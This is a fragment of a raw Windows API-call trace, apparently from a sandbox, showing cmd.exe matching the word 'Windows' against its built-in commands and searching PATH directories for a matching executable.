lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0233.402] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.402] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.402] GetFileType (hFile=0x50) returned 0x2 [0233.402] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.402] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.402] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.402] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.407] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.409] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.409] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.409] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.409] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.409] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.409] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.409] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.410] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.410] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.410] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.410] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.410] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.410] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.410] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.410] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.410] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.410] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.410] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.410] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.410] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.410] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.410] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.410] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.410] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.410] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.410] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.410] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.410] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.410] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.410] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.410] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.410] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.410] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.410] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.410] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.410] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.410] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.410] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.410] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.410] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.410] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.410] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.411] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.411] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.411] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.411] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.411] GetProcessHeap () returned 0x20b0f920000 [0233.411] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0233.413] SetErrorMode (uMode=0x0) returned 0x0 [0233.413] SetErrorMode (uMode=0x1) returned 0x0 [0233.413] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0233.413] SetErrorMode (uMode=0x0) returned 0x1 [0233.413] GetProcessHeap () returned 0x20b0f920000 [0233.413] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0233.413] GetProcessHeap () returned 0x20b0f920000 [0233.413] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0233.414] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.414] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.414] GetProcessHeap () returned 0x20b0f920000 [0233.414] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0233.414] GetProcessHeap () returned 0x20b0f920000 [0233.414] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.414] GetProcessHeap () returned 0x20b0f920000 [0233.414] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.414] GetProcessHeap () returned 0x20b0f920000 [0233.414] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.414] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.414] GetProcessHeap () returned 0x20b0f920000 [0233.414] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946ec0 [0233.414] GetProcessHeap () returned 0x20b0f920000 [0233.414] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946ec0, Size=0x7e) returned 0x20b0f956d90 [0233.414] GetProcessHeap () returned 0x20b0f920000 [0233.414] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d90) returned 0x7e [0233.414] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.414] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ce50 [0233.414] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0233.415] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.415] GetLastError () returned 0x2 [0233.415] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.415] GetLastError () returned 0x2 [0233.415] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.415] GetLastError () returned 0x2 [0233.415] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.415] GetLastError () returned 0x2 [0233.415] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.415] GetLastError () returned 0x2 [0233.416] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.416] GetLastError () returned 0x2 [0233.416] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.416] GetLastError () returned 0x2 [0233.416] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.416] GetLastError () returned 0x2 [0233.416] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.416] GetLastError () returned 0x2 [0233.416] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.416] GetLastError () returned 0x2 [0233.417] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.417] GetLastError () returned 0x2 [0233.417] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.417] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.417] GetLastError () returned 0x2 [0233.417] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.417] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d210 [0233.417] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0233.417] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.417] GetLastError () returned 0x2 [0233.417] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.418] GetLastError () returned 0x2 [0233.418] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.418] GetLastError () returned 0x2 [0233.418] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.418] GetLastError () returned 0x2 [0233.418] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.418] GetLastError () returned 0x2 [0233.418] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.418] GetLastError () returned 0x2 [0233.418] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.419] GetLastError () returned 0x2 [0233.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.419] GetLastError () returned 0x2 [0233.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.419] GetLastError () returned 0x2 [0233.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.419] GetLastError () returned 0x2 [0233.419] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.419] GetLastError () returned 0x2 [0233.419] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.420] GetLastError () returned 0x2 [0233.420] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.420] GetLastError () returned 0x2 [0233.420] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.420] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.420] GetLastError () returned 0x2 [0233.420] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.420] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.421] GetLastError () returned 0x2 [0233.421] ??_V@YAXPEAX@Z () returned 0x1 [0233.421] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0233.421] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.421] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.421] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.421] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.422] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.422] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.422] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.422] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.422] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.422] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.422] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.422] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.422] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.422] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.422] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.422] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.422] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.422] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.422] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.422] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.422] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.422] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.422] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.422] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.422] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.422] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.422] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.422] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.422] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.422] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.422] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.422] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.422] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.422] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.422] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.422] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.422] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.422] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.423] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.423] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.423] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.423] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.423] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.423] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.423] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.423] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.423] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.423] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.423] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.423] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.423] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.423] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.423] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.423] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.423] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.423] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.423] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.423] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.423] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.423] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.423] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.423] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.425] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.425] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.425] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.425] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.425] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.425] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.425] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.425] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.425] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.425] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.425] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.425] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.425] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.425] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.425] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.425] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.425] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.426] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.426] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.426] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.426] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.426] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.426] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.426] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.426] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.426] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.426] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0233.426] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0233.426] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0233.426] ??_V@YAXPEAX@Z () returned 0x1 [0233.426] GetProcessHeap () returned 0x20b0f920000 [0233.426] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0233.427] GetProcessHeap () returned 0x20b0f920000 [0233.427] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f9578c0 [0233.427] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.427] malloc (_Size=0xffce) returned 0x20b0fa80900 [0233.427] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0233.427] GetProcessHeap () returned 0x20b0f920000 [0233.428] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0233.429] SetErrorMode (uMode=0x0) returned 0x0 [0233.429] SetErrorMode (uMode=0x1) returned 0x0 [0233.429] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0233.429] SetErrorMode (uMode=0x0) returned 0x1 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0233.429] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.429] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0233.429] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947370 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947370, Size=0x7e) returned 0x20b0f956d00 [0233.429] GetProcessHeap () returned 0x20b0f920000 [0233.429] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d00) returned 0x7e [0233.430] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.430] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cfd0 [0233.430] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0233.430] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.430] GetLastError () returned 0x2 [0233.430] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0233.430] GetLastError () returned 0x2 [0233.430] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, 